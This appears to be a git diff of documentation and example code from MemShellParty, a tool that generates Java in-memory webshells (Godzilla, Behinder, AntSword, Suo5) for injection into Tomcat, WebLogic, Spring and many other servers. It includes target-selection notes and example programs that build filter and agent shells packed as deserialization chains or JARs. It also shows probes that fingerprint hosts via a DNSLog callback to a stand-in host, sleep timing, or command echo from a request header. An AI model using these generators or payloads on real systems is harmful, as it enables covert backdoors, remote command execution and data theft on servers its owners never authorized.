# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||
docker run -it -p 8080:8080 \
|
||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||
memshell-party:latest
|
||||
```
|
||||
|
||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||
|
||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||
|
||||
```text
|
||||
location /memshell-party {
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
proxy_set_header Host $http_host;
|
||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||
proxy_set_header X-Forwarded-For $remote_addr;
|
||||
proxy_http_version 1.1;
|
||||
proxy_connect_timeout 3s;
|
||||
proxy_read_timeout 300s;
|
||||
proxy_send_timeout 300s;
|
||||
proxy_buffer_size 16k;
|
||||
proxy_buffers 8 64k;
|
||||
proxy_busy_buffers_size 128k;
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,84 @@
|
||||
## 适配情况
|
||||
|
||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||
|
||||
### 中间件以及框架
|
||||
|
||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||
|----------------------|------------------------|----------------------|----------------------|
|
||||
| Servlet | Servlet | Filter | Filter |
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||
| ContextValve - Agent | | | |
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||
| | ServletHandler - Agent (7) | | |
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|-----------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||
|----------------------|----------------------|------------------------|
|
||||
| Filter | Filter | Filter |
|
||||
| Listener | Listener | Listener |
|
||||
| Valve | Valve | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||
|
||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||
|---------------------|----------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
| Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent |
|
||||
| | ContextValve - Agent |
|
||||
|
||||
### 内存马功能
|
||||
|
||||
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||
- [x] 命令执行
|
||||
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||
- [x] Custom
|
||||
|
||||
### 封装方式
|
||||
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR
|
||||
- [x] BCEL
|
||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] 原生反序列化(CB 和 CC 链)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||
- [ ] JNDI
|
||||
- [ ] JDBC 连接
|
||||
- [ ] 其他常见反序列化
|
||||
+17
-7
@@ -185,6 +185,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||
| ContextValve - Agent | | | |
|
||||
|
||||
@@ -200,6 +201,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||
| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||
| | ServletHandler - Agent (7) | | |
|
||||
@@ -211,13 +213,21 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
||||
|----------------------|----------------------|------------------------|---------------|----------------------|
|
||||
| Filter | Filter | Filter | Servlet | Filter |
|
||||
| Listener | Listener | Listener | Filter | Listener |
|
||||
| Valve | Valve | Valve | Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||
|----------------------|----------------------|------------------------|
|
||||
| Filter | Filter | Filter |
|
||||
| Listener | Listener | Listener |
|
||||
| Valve | Valve | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||
|
||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||
|---------------------|----------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
| Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent |
|
||||
| | ContextValve - Agent |
|
||||
|
||||
### MemShell Functionality
|
||||
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
# Java 服务简介
|
||||
|
||||
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
|
||||
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
|
||||
|
||||
## Tomcat
|
||||
|
||||
> https://tomcat.apache.org/
|
||||
|
||||
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
|
||||
内存马。
|
||||
|
||||
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
|
||||
|
||||
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
|
||||
|
||||
## Jetty
|
||||
|
||||
> https://jetty.org/
|
||||
|
||||
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
|
||||
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
|
||||
即可生成 Jetty 内存马。
|
||||
|
||||
在 SpringWebMVC 项目中也是有可能使用的。
|
||||
|
||||
## JBoss
|
||||
|
||||
> JBossAS: https://jbossas.jboss.org/downloads
|
||||
|
||||
> JBossEAP: https://developers.redhat.com/products/eap/download
|
||||
|
||||
JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
|
||||
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
|
||||
|
||||
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
|
||||
Undertow 进行内存马的生成。
|
||||
|
||||
## Wildfly
|
||||
|
||||
> https://www.wildfly.org/
|
||||
|
||||
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
|
||||
|
||||
## GlassFish
|
||||
|
||||
> https://glassfish.org/
|
||||
|
||||
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
|
||||
GlassFish 进行内存马的生成。
|
||||
|
||||
## Payara
|
||||
|
||||
> https://www.payara.fish/downloads/
|
||||
|
||||
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
|
||||
|
||||
## Resin
|
||||
|
||||
> https://caucho.com/products/resin/download
|
||||
|
||||
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
|
||||
|
||||
泛微 OA 使用的就是 Resin 提供的服务。
|
||||
|
||||
## WebLogic
|
||||
|
||||
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
|
||||
|
||||
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
|
||||
|
||||
## WebSphere
|
||||
|
||||
> https://www.ibm.com/products/websphere-application-server
|
||||
|
||||
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty,
|
||||
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
|
||||
|
||||
## BES
|
||||
|
||||
> https://www.bessystem.com/
|
||||
|
||||
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
|
||||
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
|
||||
BES 进行内存马的生成。
|
||||
|
||||
## TongWeb
|
||||
|
||||
> https://www.tongtech.com/sy.html
|
||||
|
||||
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
|
||||
|
||||
- TongWeb6: `com.tongweb.web.thor.`
|
||||
- TongWeb7: `com.tongweb.catalina.`
|
||||
- TongWeb8: `com.tongweb.server.`
|
||||
|
||||
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
|
||||
|
||||
## Apusic
|
||||
|
||||
> https://www.apusic.com/
|
||||
|
||||
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
|
||||
版本服务类型选择
|
||||
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
|
||||
|
||||
## Primeton
|
||||
|
||||
> https://www.primeton.com/products/pas/
|
||||
|
||||
普元中间件,Primeton6.5 版本基于 GlassFish
|
||||
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
|
||||
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
|
||||
|
||||
## InforSuite
|
||||
|
||||
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
|
||||
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
|
||||
|
||||
## SpringWebMVC
|
||||
|
||||
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
|
||||
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
|
||||
SpringWebMVC 进行内存马生成。
|
||||
|
||||
## SpringWebFlux
|
||||
|
||||
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
|
||||
SpringWebFlux 进行内存马生成。
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
## 如何使用自定义内存马功能
|
||||
|
||||
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
|
||||
|
||||
```java
|
||||
Object context = getContext();
|
||||
Object shell = defineClass(getShellBase64Str());
|
||||
|
||||
inject(context, shell);
|
||||
```
|
||||
|
||||
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
|
||||
|
||||
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
|
||||
|
||||
### 实现参考
|
||||
|
||||
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||
jakarta,无须重复实现。
|
||||
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||
方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
|
||||
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||
`javax.crypto.Cipher`。
|
||||
|
||||
| 挂载类型 | 参考实现 |
|
||||
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||
|
||||
### 参考步骤
|
||||
|
||||
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||
@@ -18,8 +18,27 @@
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>generator</artifactId>
|
||||
<version>1.0.4</version>
|
||||
<version>2.0.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>packer</artifactId>
|
||||
<version>2.0.0</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
||||
<repositories>
|
||||
<repository>
|
||||
<name>Central Portal Snapshots</name>
|
||||
<id>central-portal-snapshots</id>
|
||||
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
||||
<releases>
|
||||
<enabled>false</enabled>
|
||||
</releases>
|
||||
<snapshots>
|
||||
<enabled>true</enabled>
|
||||
</snapshots>
|
||||
</repository>
|
||||
</repositories>
|
||||
</project>
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/13
|
||||
*/
|
||||
public class DnsLogProbe {
|
||||
public static void main(String[] args) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.DNSLog)
|
||||
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
||||
.shrink(true)
|
||||
.debug(false)
|
||||
.build();
|
||||
|
||||
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
||||
.host("xxx.dns.log")
|
||||
.build();
|
||||
|
||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
+10
-10
@@ -1,10 +1,15 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -13,7 +18,7 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
public class Godzilla {
|
||||
public static void main(String[] args) {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.server(Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shrink(true) // 缩小字节码
|
||||
@@ -33,18 +38,13 @@ public class Godzilla {
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||
System.out.println("内存马类名:" + result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
|
||||
|
||||
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
|
||||
+11
-6
@@ -1,15 +1,20 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/6
|
||||
@@ -18,7 +23,7 @@ public class GodzillaAgent {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.server(Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||
.shrink(true) // 缩小字节码
|
||||
@@ -38,7 +43,7 @@ public class GodzillaAgent {
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||
System.out.println("内存马类名:" + result.getShellClassName());
|
||||
@@ -46,7 +51,7 @@ public class GodzillaAgent {
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||
}
|
||||
}
|
||||
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/13
|
||||
*/
|
||||
public class ResponseBodyProbe {
|
||||
public static void main(String[] args) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Command)
|
||||
.shrink(true)
|
||||
.debug(false)
|
||||
.build();
|
||||
|
||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||
.server(Tomcat)
|
||||
.reqHeaderName("X-Echo")
|
||||
.build();
|
||||
|
||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.SleepConfig;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/13
|
||||
*/
|
||||
public class SleepProbe {
|
||||
public static void main(String[] args) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.Sleep)
|
||||
.probeContent(ProbeContent.Server) // 暂只支持 Server
|
||||
.shrink(true)
|
||||
.debug(false)
|
||||
.build();
|
||||
|
||||
SleepConfig sleepConfig = SleepConfig.builder()
|
||||
.server(Tomcat)
|
||||
.seconds(5).build();
|
||||
|
||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
group = 'io.github.reajason'
|
||||
description = "MemShell Generator for Java"
|
||||
version = rootProject.version
|
||||
|
||||
// 测试使用 JDK17 进行编译与运行
|
||||
tasks.withType(Test).configureEach {
|
||||
javaLauncher = javaToolchains.launcherFor {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
tasks.named('compileTestJava') {
|
||||
javaCompiler = javaToolchains.compilerFor {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_17
|
||||
targetCompatibility = JavaVersion.VERSION_17
|
||||
}
|
||||
|
||||
test {
